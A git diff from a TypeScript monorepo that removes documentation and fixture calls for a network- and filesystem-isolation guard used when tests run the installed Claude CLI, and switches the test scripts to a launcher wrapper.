fixed, root-owned setup entry with +`sudo bash scripts/offline-runner/prepare.sh --install-system` and, if needed, +a sudoers rule allowing **only** `/usr/local/libexec/brain-test-setup` through +noninteractive sudo. Never allow a writable checkout script or arbitrary +`unshare`, shell or interpreter command through that rule. Alternatively, the +host owner may enable unprivileged user namespaces so the qualified rootless +subset can run. Tests never change sudoers, sysctls or other host policy +automatically. A setup refusal names the failed stage and records a receipt; +it is not a skip or completed native proof. + +This guarantee covers the project's launcher entries and the prepared `bun` +shim. A separately invoked absolute interpreter can already have executed +startup hooks before project code runs; the preload refuses native +qualification for that unsupported entry and cannot retroactively clean it. +Dependency/image acquisition is preparation, outside the offline test phase. + ### Deliberate offline commands on Linux Use the repository launcher when a manual test command needs OS-level network @@ -694,8 +722,6 @@ pair with reason `other` through `scripts/ci-timings.ts record` | Variable | Meaning | | --- | --- | | `BRAIN_HOST_ADMISSION_LIMIT` | Concurrent heavy commands admitted on this host. Defaults to one per four CPUs, at least 1; anything but a positive integer is refused. | -| `BRAIN_NATIVE_RECEIPT` | Internal descriptor and device/inode identity for guard-owned test receipts. The preload consumes it; native payloads and protocol-only worker bootstraps do not inherit it. | -| `BRAIN_NATIVE_EXEC_AUDIT` | Internal read-only outer-audit attestation. The preload consumes it; guarded fixture descendants verify the owning tracer PID/start and pinned private trace inode. Native payloads never inherit it. | | `BRAIN_TEST_RESOURCE_ROOT` | Internal, one-generation launcher/preload handoff for process-lifetime test storage. The preload consumes and removes it before tests run; the launcher deletes the tree after the child group drains. | | `BRAIN_HOST_ADMISSION_DIR` | Ledger directory. Defaults to `brain-host-admission-` under the system temporary directory. The test launcher (or standalone preload) gives each invocation a private ledger, which its descendants also find through their ancestry; a test exercising the host ledger names its own. | | `BRAIN_WORKER_ID`, `BRAIN_ORCHESTRATOR_ID` | Opaque worker and orchestrator IDs recorded with each slot. Without them a worker is `host-` and has no orchestrator; it still gets the admission limit. | @@ -1118,145 +1144,3 @@ The dedicated backend drives the real host bridge; it does not call an image provider. The ordinary native SDK fixture remains unchanged. All selected phase deadlines, final joins, diagnostics and owned cleanup remain required. This partial composition does not replace complete PR proof. - -## Native Claude test isolation - -The test preload admits installed native Claude only on disposable hosted -runners with working Linux namespaces. An unqualified launch fails before -process creation with a `native-offline-boundary` receipt; it is never a skip. -Runtime provenance uses resolved installed SDK/runtime paths and a size-filtered -content hash to recognize renamed copies; harmless fixture scripts named -`claude` remain ordinary test programs. This includes SDK `node:child_process` -launches (which use Bun's subprocess transport) and the existing worker bootstrap's exec payload. - -Direct SDK children get an empty root filesystem, explicit system/runtime and -fixture mounts, fresh PID and network namespaces, and one Unix socket bridged -to the exact scripted loopback service. They receive synthetic credentials or -registered relay placeholders. -Host account databases, managed settings, homes and credential storage are not -mounted. The boundary traces native and descendant socket syscalls with -raw arguments and `execve` with zero-length argument strings. The private trace -contains executable paths but no decoded connect addresses or payloads. A -successful native exec record is required: an empty or missing trace produces -a failed receipt with `nativeLaunched: false`. The emitted `native-offline-audit` -receipt contains only the exact head, launch evidence and aggregate denied-socket counts. -Guard records use a private append-only receipt file and inherited descriptor, -flushed by the owning test process to its own stderr. They never enter the -payload's piped stderr. Protocol-only worker bootstraps and native payloads -receive no receipt descriptor or locator. -A missing namespace launcher or tracing capability refuses before launch. -Managed settings supplied by a hostile fixture are synthetic. Workers receive -a private network namespace and retain their concrete fixture mounts, while -losing the broad read-only host root. An unavailable isolated view refuses. -Restricted fixture code declares its scripted origin with -`nativeScriptedService`. The guard creates Unix servers under that authority -and pins all handler fetch/TCP/Unix transports to it. Socket ownership alone -is never admission: a pre-existing, unregistered relay refuses. Admission follows -the live guard-created socket inode across hard-link aliases and is revoked -when that server stops. SDK runtime -discovery includes every workspace owner and refuses unresolved declared SDKs. -SDK fixture adapters pin the existing spawn callback -to their declared service. Standalone native fixture entries load the preload, -and outer namespaces preserve qualification metadata across `clearenv`. -For the existing separate-UID identity supervisor, the guard transforms its -concrete nested launcher. Tracing starts after the UID handoff and stays outside -an inner native mount/PID view that hides the audit storage. Offline proof -containers inherit hosted-runner qualification only from an actual hosted run, -plus the exact checkout head for receipts when Git metadata is not mounted. -Worker environments retain only known runtime paths/selectors and pinned -synthetic inference credentials; unrelated keys and loader overrides are removed. -Fixture tool directories on PATH are mounted read-only only from public fixture -sources or the private temporary storage containing the declared HOME/cwd. -Common ancestors and unrelated directories are never exposed; witnesses belong -inside an existing writable fixture HOME/cwd mount. `USE_BUILTIN_RIPGREP` and -`ENABLE_TOOL_SEARCH` retain their test-selected behavior. -The Unix inference transport deliberately has native tunnel authentication -semantics: when both synthetic key and OAuth variables are present, it selects -OAuth. Its measurement is labelled accordingly and does not prove ordinary TCP -credential precedence. -No production authentication or managed-policy behavior changes. - -Measurement commands share synchronous entry admission before runtime imports. -Offline commands install the test guard; documented live commands require -`BRAIN_LIVE_EVAL=587` or `--allow-real-provider`, print a real-provider/cost -warning, and leave authorized provider access intact. Pure pricing and counting -libraries do not install process-wide guards. - -Native descendants inherit a Linux seccomp user-notification policy. It -emulates connections only to the pinned guard-owned relay inode; it never -continues an untrusted connect syscall. A socket created later in any live -fixture bind cannot become an allowed destination. Addressed messages, -alternate syscall ABIs, io_uring and attempts to replace the policy are denied. -The broker remains non-dumpable, its listener is absent from the native child, -and native processes cannot duplicate or inspect its control descriptors. -Hosted qualification must pass the real kernel-policy self-test before any -installed runtime launches; missing compiler or kernel support emits a failed -receipt. Fixture namespaces that hide compiler inputs compile once in their -outer process, then bind the artifact read-only after all covering mounts and -pass its digest to the inner guard. Relay fixture views create the mount target -inside their own `/tmp` tmpfs, after covering mounts; real bubblewrap tests run -all discovered launcher shapes with `/usr/bin/true`. The inner guard verifies regular-file type, -non-writability and SHA-256 before using it; an absent or changed artifact -refuses instead of falling back. Unit shards and determinism use the same -fixture preparation as runtime proof. Local plan tests compile the helper but -mock that hosted probe. - -Separate-UID trace storage stays guard-owned with an ACL granting only the -verified worker UID write access. Receipt reads validate ownership, inode, -mode and ACL integrity. The hostile-settings proof always registers and fails -explicitly when isolation is unavailable. - -`tests/native-offline-boundary.test.ts` proves local refusal with harmless -synthetic executables. Hosted proof additionally exercises hostile managed -settings, an outside-HOME sentinel credential, helper descendants, denied TCP, -and the one permitted scripted service; the child silently swallows denied -connections, so the audit count comes from the boundary rather than child output. -The SDK fixture inventory discovers non-type references to `query` and -`prewarm`, plus explicit Claude backend construction, including aliases, -dynamic imports and APIs passed as values. Provider injection is classified -per constructor call. Registry-selected backends and direct binary spawns -without those source references are outside this syntax inventory; runtime -admission still covers installed native executables independently of it. -Worker plans restoring the canonical resolver file read-only receive a -synthetic loopback resolver in guard-owned storage. The guard validates the -regular-file source but reads no host DNS bytes, admits no containing service -directory and provides no DNS route. An unrelated file or writable resolver -bind still refuses. -The baseline retention fixture keeps its tool wrapper and runtime-rg alias -together in a read-only tool directory and its invocation witness in HOME. -Run installed-native backend and -provider-history cells only in hosted CI; a temporary HOME and SDK options -alone do not establish isolation. - -The native test boundary binds only these distribution directories read-only: -`/usr`, `/bin`, `/sbin`, `/lib`, `/lib32`, `/lib64`, `/libx32` (when present). -Its distribution metadata is limited to `/etc/ld.so.cache`, `/etc/localtime` -and `/etc/os-release`. These fixed distribution mounts are exempt from recursive -socket discovery; they are not host-writable service storage. Writable mounts -of distribution sources are refused. `/etc/alternatives` is omitted from the -test worker view rather than walking aliases back into the distribution tree. -Every non-system bind keeps the socket walk and refuses missing (`ENOENT`) -or inaccessible (`EACCES`) entries. The lifetime socket broker remains active -for every mount, including the distribution view. - -The bind inventory refuses the host roots `/run`, `/var/run`, `/tmp`, `/dev`, -`/dev/shm`, `/home`, `/var/lib`, `/etc`, `/var` and `/` as either bind source or -destination. Private `--tmpfs` and `--dev` mounts are newly created views; -fixture subdirectories are separate non-system sources, never broad host-root -binds. Any needed service-storage data must be copied into a fixture first. - -Scripted-service fixtures explicitly declare their created data roots and any -additional regular-file inputs. Additional file inputs are captured as bytes -and copied into guard-owned read-only staging; inherited unlisted read binds -refuse. The copied startup/output fixture creates its staging roots through -the guard, which records their identities. An existing host directory cannot -be marked by that creation helper. Symlinks in fixture data cannot authorize -outside files. Native workers omit inherited resolver/certificate views because -their only provider transport is the pinned Unix relay. - -Worker admission resolves the executable in `argv[0]` with the child's cwd and -PATH, validates the actual first-party launcher prefixes, and requires its -payload tail to agree with the recorded command. Missing or inconsistent -metadata emits a failed receipt. Offline collector credentials are created and -marked by the fixture helper, and the collector registers its scripted origin -at the existing SDK spawn hook; unmarked ambient credentials gain no authority. diff --git a/experiments/2052-title-provenance/probe.ts b/experiments/2052-title-provenance/probe.ts index 7c8e2e663c..cd7581e7c9 100644 --- a/experiments/2052-title-provenance/probe.ts +++ b/experiments/2052-title-provenance/probe.ts @@ -1,11 +1,7 @@ -import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import { nativeScriptedService,nativeFixtureTitleCollector } from "../../scripts/test-native-guard.ts"; /** Run through run.ts: the SDK, CLI and tool descendants share an offline netns. */ import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; import { dirname, join } from "node:path"; -import { spyOn } from "bun:test"; -import * as titles from "../../packages/ui-backend-claude/src/title-usage.js"; import { query } from "@anthropic-ai/claude-agent-sdk"; import { createClaudeSdkTurn } from "../../packages/ui-backend-claude/src/sdk-options.js"; import { createFixtureWorkerStartupView } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -41,9 +37,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream", "request-id": id } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [brainPath, home], fixtureCredentials:{ANTHROPIC_API_KEY:"offline-odysseus"} }); -const createCollector=titles.createClaudeTitleUsageCollector; -const collectorObserver=spyOn(titles,"createClaudeTitleUsageCollector").mockImplementation(()=>{const collector=createCollector(),release=nativeFixtureTitleCollector(collector.env),stop=collector.stop;collector.stop=()=>{release();return stop();};return collector;}); try { for (turnIndex = 1; turnIndex <= 2; turnIndex++) { const controller = new AbortController(); @@ -102,4 +95,4 @@ try { productionAccounting: "automatic production SDK options emit supported helper receipts after worker exit", nonessentialTrafficDisabled: process.argv.includes("--disable-nonessential-traffic"), }, null, 2) + "\n"); -} finally { collectorObserver.mockRestore();server.stop(true); } +} finally { server.stop(true); } diff --git a/experiments/fixtures/runtime-placement-probe.ts b/experiments/fixtures/runtime-placement-probe.ts index e4d3e70f0f..e376fc0a78 100644 --- a/experiments/fixtures/runtime-placement-probe.ts +++ b/experiments/fixtures/runtime-placement-probe.ts @@ -1,4 +1,3 @@ -import "../../scripts/test-network-child-preload.ts"; /** Keyless same-byte native serialization control; caller supplies offline netns. */ import assert from "node:assert/strict"; import { copyFileSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; diff --git a/package.json b/package.json index 5384241bba..4858a65e56 100644 --- a/package.json +++ b/package.json @@ -12,17 +12,17 @@ "env-docs": "bun scripts/env-docs.ts", "lint": "bun scripts/lint.ts", "api-report": "bun scripts/api-report.ts", - "test": "bun scripts/test.ts --timeout 30000", - "test:experiments": "bun scripts/test-experiments.ts", - "test:skills": "bun scripts/test.ts --timeout 30000 ./scripts/skill-tests", + "test": ".test-tools/entry bun scripts/test.ts --timeout 30000", + "test:experiments": ".test-tools/entry bun scripts/test-experiments.ts", + "test:skills": ".test-tools/entry bun scripts/test.ts --timeout 30000 ./scripts/skill-tests", "check:pr": "bun scripts/check-pr.ts", "check:pack": "bun scripts/check-packages.ts", - "test:browser": "node scripts/visual.mjs", - "test:endurance": "node scripts/visual.mjs --project=ui-react-endurance", + "test:browser": ".test-tools/entry node scripts/visual.mjs", + "test:endurance": ".test-tools/entry node scripts/visual.mjs --project=ui-react-endurance", "test:inventory": "bun scripts/proof-inventory.ts", - "test:layout": "node scripts/visual.mjs --project=ui-react-layout", - "visual": "node scripts/visual.mjs --project=visual --project=subjects", - "visual:update": "node scripts/visual.mjs --project=visual --project=subjects --update", + "test:layout": ".test-tools/entry node scripts/visual.mjs --project=ui-react-layout", + "visual": ".test-tools/entry node scripts/visual.mjs --project=visual --project=subjects", + "visual:update": ".test-tools/entry node scripts/visual.mjs --project=visual --project=subjects --update", "typecheck": "tsc --noEmit", "changeset": "changeset", "version": "changeset version && rm -f bun.lock && bun install", diff --git a/packages/core/tests/claude-runner-binary.test.ts b/packages/core/tests/claude-runner-binary.test.ts index 8de08cd740..6d2dc652ac 100644 --- a/packages/core/tests/claude-runner-binary.test.ts +++ b/packages/core/tests/claude-runner-binary.test.ts @@ -1,4 +1,3 @@ -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** * The Claude runner spawns the binary chat runs, not whatever `claude` is on * `PATH` (#213). With no `claude` on `PATH` at all, `brain sync` still runs: @@ -86,7 +85,6 @@ describe("the Claude runner's binary", () => { const path = tempDir("runner-path-"); symlinkSync(process.execPath, join(path, "bun")); expect(Bun.which("claude", { PATH: path })).toBeNull(); - nativeScriptedService(`http://127.0.0.1:${server.port}`); const home = tempDir("runner-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); delete process.env.CLAUDE_CODE_PATH; diff --git a/packages/core/tests/claude-runner-rejected-token.test.ts b/packages/core/tests/claude-runner-rejected-token.test.ts index 901fdb7f19..05f5b1e47b 100644 --- a/packages/core/tests/claude-runner-rejected-token.test.ts +++ b/packages/core/tests/claude-runner-rejected-token.test.ts @@ -1,4 +1,3 @@ -import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** * A rejected subscription token fails `brain sync`'s Claude runner; nothing * retries it on the API key the host also holds (#254). @@ -57,7 +56,6 @@ function tempDir(prefix: string): string { describe("the Claude runner on a rejected token", () => { test("fails, and no request carries the API key", async () => { - nativeScriptedService(`http://127.0.0.1:${server.port}`); const home = tempDir("rejected-home-"); mkdirSync(join(home, ".claude"), { recursive: true }); delete process.env.CLAUDE_CODE_PATH; diff --git a/packages/core/tests/claude-runner-subscription.test.ts b/packages/core/tests/claude-runner-subscription.test.ts index 333cccda56..a7a947db6f 100644 --- a/packages/core/tests/claude-runner-subscription.test.ts +++ b/packages/core/tests/claude-runner-subscription.test.ts @@ -13,7 +13,6 @@ import { afterAll, afterEach, beforeAll, describe, expect, test } from "bun:test import { existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; -import { nativeScriptedService } from "../../../scripts/test-native-guard"; import { claudeRunner } from "../src/providers/agents/cli-runners"; import { ClaudeSubscriptionError } from "../src/providers/agents/claude-subscription"; @@ -102,7 +101,6 @@ interface Setup { /** A fresh HOME, config dir and repo, with the given credentials in process.env. */ function arrange(setup: Setup): { repo: string } { - nativeScriptedService(`http://127.0.0.1:${server.port}`); const home = tempDir("runner-home-"); const configDir = join(home, ".claude"); mkdirSync(configDir, { recursive: true }); diff --git a/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts b/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts index 0cc6e374c4..4804553f8c 100644 --- a/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts +++ b/packages/ui-backend-claude/tests/ask-tool-request-id.test.ts @@ -1,5 +1,3 @@ -import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; -import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; /** * The four ask tools key their request by the model's tool_use id (#910). * @@ -14,7 +12,8 @@ import {nativeScriptedService} from "../../../scripts/test-native-guard.ts"; * Keyless: the credentials are bogus and the only server is 127.0.0.1. */ import { afterAll, beforeAll, expect, test } from "bun:test"; -import { rmSync } from "node:fs"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; import { join } from "node:path"; import type { SDKMessage } from "@anthropic-ai/claude-agent-sdk"; @@ -166,11 +165,10 @@ test("each ask tool hands the bridge the tool_use id the model sent", async () = return { answers: { course: "Coast" } }; }, }); - const home = nativeFixtureDirectory("ask-request-id-"); + const home = mkdtempSync(join(tmpdir(), "ask-request-id-")); const toolUses: string[] = []; let resultSubtype: string | undefined; try { - nativeScriptedService(server.url.origin); const stream = query({ prompt: "Ask the planned questions.", options: { diff --git a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts index 0d1825a6ea..7776abb02b 100644 --- a/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/autonomous-prompt-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ import { mkdirSync, writeFileSync } from "node:fs"; @@ -24,7 +22,6 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "sk-odysseus-fixture"} }); try { for (let index = 0; index < 4; index++) { const brainPath = join(scratch, `ithaca-${index}`); diff --git a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts index 4d75815847..a35e14f872 100644 --- a/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/background-shell-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; -import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; +import {watchdogMs} from '../../../../scripts/test-deadlines'; /** Real installed CLI, fictional credentials and a loopback-only namespace. */ import { expect } from "bun:test"; import { existsSync, mkdirSync, readFileSync } from "node:fs"; @@ -31,7 +29,6 @@ for (const enforced of [false, true]) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); await request.json(); return reply(calls[sent++]); } }); - nativeScriptedService(server.url.origin,{fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-offline-only-key"}}); const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const lock = createTurnLockBinding({ turn: { ended: false, pendingReleases: new Map() }, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); const allowedTools = enforced ? [] : ["Bash"]; @@ -65,7 +62,6 @@ for (const enforced of [false, true]) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); await request.json(); return reply(sent++ === 0 ? { name: "Bash", id: "toolu_legacy", input: { command: "sleep 30", run_in_background: true } } : undefined); } }); - nativeScriptedService(server.url.origin,{fixtureCredentials:{ANTHROPIC_API_KEY:"odysseus-offline-only-key"}}); const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const env = { HOME: home, CLAUDE_CONFIG_DIR: join(home, ".claude"), PATH: process.env.PATH!, ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "odysseus-offline-only-key", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }; try { diff --git a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts index dc712e41de..797ae4534a 100644 --- a/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/host-relay-probe.ts @@ -1,19 +1,16 @@ import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; -import { selectedNativePid } from "../helpers/native-process-observation"; -import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; -import "../../../../scripts/test-network-child-preload.ts"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual SDK/CLI protocol qualification, inside the caller's private network namespace. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; import { startInferenceRelay, ANTHROPIC_INFERENCE_ROUTES, INFERENCE_PLACEHOLDER, acquireHostCredentialExclusion, startEgressProxy, type EgressRecord } from "@schlessera/brain-ui-sdk/internal"; import { resolveClaudeHostOAuth } from "../../src/host-oauth.js"; import { nativeModelReply } from "../helpers/native-model-reply.js"; import { spawn, type ChildProcess } from "node:child_process"; -import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync } from "node:fs"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; +import { tmpdir } from "node:os"; import { createRequire } from "node:module"; -const root = nativeFixtureDirectory("odysseus-native-host-relay-"); +const root = mkdtempSync(join(tmpdir(), "odysseus-native-host-relay-")); const host = join(root, "host"), worker = join(root, "worker"), brain = join(worker, "brain"), directory = join(root, "lock"); for (const path of [host, worker, brain, directory]) mkdirSync(path, { mode: 0o700 }); const access = ["odysseus-host-first", "odysseus-host-changed", "odysseus-host-refreshed"]; @@ -63,7 +60,6 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request apiKey: request.headers.get("x-api-key"), model: body.model, priorMessages: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory] }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a @@ -133,9 +129,8 @@ try { try { accounts.push((await runtime.initializationResult()).account); if (!nativeChild?.pid) throw new Error("The native CLI did not start."); - const pid = selectedNativePid(nativeChild.pid, expectedExecutable); - nativeBinaryMatches &&= readlinkSync(`/proc/${pid}/exe`) === expectedExecutable; - nativeEnvironments.push(readFileSync(`/proc/${pid}/environ`, "utf8")); + nativeBinaryMatches &&= readlinkSync(`/proc/${nativeChild.pid}/exe`) === expectedExecutable; + nativeEnvironments.push(readFileSync(`/proc/${nativeChild.pid}/environ`, "utf8")); release(); if (turn === 3) { await bounded(refreshEntered); diff --git a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts index 9380c88c4e..42928b80e4 100644 --- a/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/interactive-git-prompt-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; import { createFixtureWorkerStartupView, createFixtureMaintenanceHost } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keyless selected-runtime assembly receipt; caller denies all external network. */ import { mkdirSync, writeFileSync } from "node:fs"; @@ -25,7 +23,6 @@ const upstream = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request ]; return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(upstream.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY:"sk-odysseus-fixture",CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"} }); try { for (const billing of ["api", "subscription"] as const) { const brainPath = join(scratch, `ithaca-${billing}`); diff --git a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts index b00fc0f92a..ef9d715797 100644 --- a/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/ordinary-host-relay-probe.ts @@ -1,7 +1,4 @@ import { watchdogMs } from "../../../../scripts/test-deadlines.ts"; -import { nativeFixtureDirectory } from "../../../../scripts/test-native-guard.ts"; -import "../../../../scripts/test-network-child-preload.ts"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; /** Actual ordinary Claude spawn/state path; copied storage fixture, not Btrfs qualification. */ import { query, type AccountInfo } from "@anthropic-ai/claude-agent-sdk"; import { startInferenceRelay, ANTHROPIC_INFERENCE_ROUTES, INFERENCE_PLACEHOLDER, acquireHostCredentialExclusion, startEgressProxy, type EgressRecord } from "@schlessera/brain-ui-sdk/internal"; @@ -11,13 +8,14 @@ import { createWorkerSpawn } from "../../src/worker-spawn.js"; import { createStateLedger } from "../../src/worker-state-budget.js"; import { createFixtureWorkerStartupView } from "../../../ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import type { LaunchedWorker, WorkerSandbox } from "@schlessera/brain-ui-sdk/internal"; -import { existsSync, mkdirSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync } from "node:fs"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, readlinkSync, rmSync, writeFileSync, linkSync } from "node:fs"; import { join } from "node:path"; +import { tmpdir } from "node:os"; import { createRequire } from "node:module"; const profile = process.argv[2] === "strict" ? "strict" : "governed"; const ledger = createStateLedger(); -const root = nativeFixtureDirectory("odysseus-native-host-relay-"); +const root = mkdtempSync(join(tmpdir(), "odysseus-native-host-relay-")); const host = join(root, "host"), worker = join(root, "worker"), brain = join(worker, "brain"), directory = join(root, "lock"); for (const path of [host, worker, brain, directory]) mkdirSync(path, { mode: 0o700 }); const access = ["odysseus-host-first", "odysseus-host-changed", "odysseus-host-refreshed"]; @@ -67,7 +65,6 @@ const provider = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request apiKey: request.headers.get("x-api-key"), model: body.model, priorMessages: body.messages.length }); return nativeModelReply(); } }); -nativeScriptedService(provider.url.origin, { fixtureRoots: [brain, worker, directory] }); const originalFetch = globalThis.fetch; // Only the host's lowest fetch method is replaced. The native CLI makes real // HTTP requests over the real Unix socket. Both upstream exchanges reach a diff --git a/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts b/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts index 0bda7e7be8..088733603b 100644 --- a/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts +++ b/packages/ui-backend-claude/tests/fixtures/prepared-consumer-native-root.ts @@ -1,9 +1,8 @@ -import {serveNativeFixtureBrainManager as serveNativeBrainManager} from '../../../../tests/helpers/native-stage-metadata-fixture'; import { watchdogMs } from "../../../../scripts/test-deadlines"; import { expect } from "bun:test"; import { chmodSync, chownSync, mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; - +import { serveNativeBrainManager } from "../../../ui-sdk/src/server/native-brain-manager.js"; import { hostOutputStagingLimits } from "../../../ui-sdk/src/server/worker-state-limits.js"; const brain = "/brain-fixture/brain"; function command(argv: string[]) { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts index 27f9b78114..9fadf9c7f7 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-apify-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; -import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines.js"; /** * Apify through the installed Claude CLI (#3162). The caller confines the SDK, * the bundled CLI and every tool to loopback. Three resumed turns call the @@ -57,7 +55,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); -nativeScriptedService(server.url.origin, { fixtureRoots: [scratch], fixtureCredentials: {ANTHROPIC_API_KEY: "offline-odysseus"} }); const fake = fakeApify(); const restore = replaceNativeStartupAcquisitionForFixture(); try { diff --git a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts index 12b243a990..47ad1e2dff 100644 --- a/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts +++ b/packages/ui-backend-claude/tests/fixtures/provider-history-attachment-probe.ts @@ -1,6 +1,4 @@ -import "../../../../scripts/test-network-child-preload.ts"; -import { watchdogMs } from "../../../../scripts/test-deadlines"; -import { nativeScriptedService } from "../../../../scripts/test-native-guard.ts"; +import { watchdogMs } from "../../../../scripts/test-deadlines.js"; /** * Attachment reads through the installed Claude CLI (#3154). The caller * confines the SDK, the bundled CLI and every tool to loopback. Turn 0 sends @@ -45,7 +43,6 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: step ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map(e => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); 